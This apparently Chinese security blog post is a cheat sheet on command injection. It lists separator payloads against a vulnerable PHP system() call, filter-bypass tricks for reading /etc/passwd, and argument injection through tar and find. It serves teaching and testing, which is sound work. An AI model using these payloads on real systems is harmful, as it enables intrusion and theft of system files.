前言
Web开发中大量需求需要执行外部命令,且往往需要拼接用户提供的数据作为命令的一部分。攻击者通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。
命令注入可以大致分为两类:Shell解析与参数注入
1. Shell解析
shell解析场景指的是拼接部分内容会被shell解析(sh/bash/cmd.exe
),这种执行外部命令的场景使用起来比较灵活。同样的,在漏洞利用方式上也有非常多技巧。
Linux
命令分割
example
<?php
system('ls '.$_GET['cmd']);
?>
cmd.php?cmd=;id
cmd.php?cmd=|id
cmd.php?cmd=%26id %26 -> &
cmd.php?cmd=%0aid %0a ->换行
下面两种利用方式也可以,但是有限制,很少用
cmd.php?cmd=||id 要求前面命令执行失败
cmd.php?cmd=%26%26 要求前面命令执行成功
反引号
cmd.php?cmd=`id`
$符
cmd.php?cmd=$(id)
绕过方法
用<
绕过空格(受限)
cat</etc/passwd
用$IFS$9
绕过空格
cat$IFS/etc/passwd
cat${IFS}/etc/passwd
cat$IFS$9/etc/passwd
这里$9的作用为插入空值,用于分隔,可以替换为$1-9,$@,'',"",``等
通配符绕过
/???/c?t/p??swd 代替 /bin/cat /etc/passwd
/???/n? 代替 /bin/nc
字符串拼接绕过
/'b'i''n/'c''at' /e't'c/p''as''sw'd'
也可以采用插入空值
/bin/cat /etc/pa``sswd
/bin/cat /etc/pa$9sswd
续行符\
绕过
\c\a\t \/\e\t\c\/\p\a\s\s\w\d
可加换行
c\
at /etc/passwd
变量拼接绕过黑名单
a=l;b=s;$a$b
base64编码绕过黑名单
`echo "Y2F0IC9ldGMvcGFzc3dkCg=="|base64 -d`
Windows
2. 参数注入
tar
tar cf 1.tar 1.txt --checkpoint=1 --checkpoint-action=exec=id
find
find . -exec ls {} ;
#ps: 命令中的;是作为find参数的一部分,如果在命令行中测试,需要进行转义 \;
3. 场景与探测方案
应该用什么Payload探测是否存在命令注入?
正则限制输入字符集后,最少存在哪些字符实现任意命令执行?
Shell解析,直接拼接
<?php
system('ls '.$_GET['cmd']);
?>
可用字符:
`
`cmd`
可用字符:
;
;cmd
可用字符:
|
|cmd
可用字符:
&
&cmd
可用字符:
\n
%0acmd
可用字符:
$()
$(cmd)
Shell解析,直接拼接,双引号包围
可用字符:
`
`cmd`
可用字符:
$()
$(cmd)
可用字符:
"
+;
或"
+|
或"
+&
或"
+\n
";cmd" "|cmd" "&cmd" "%0acmd"
Shell解析,直接拼接,单引号包围
可用字符:
'
+`
或'
+$()
或'
+;
或'
+|
或'
+&
或'
+\n
'`cmd`' '$(cmd)' ';cmd' '|cmd' '&cmd' '%0acmd'
可用字符:
-
考虑参数注入
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至3213359017@qq.com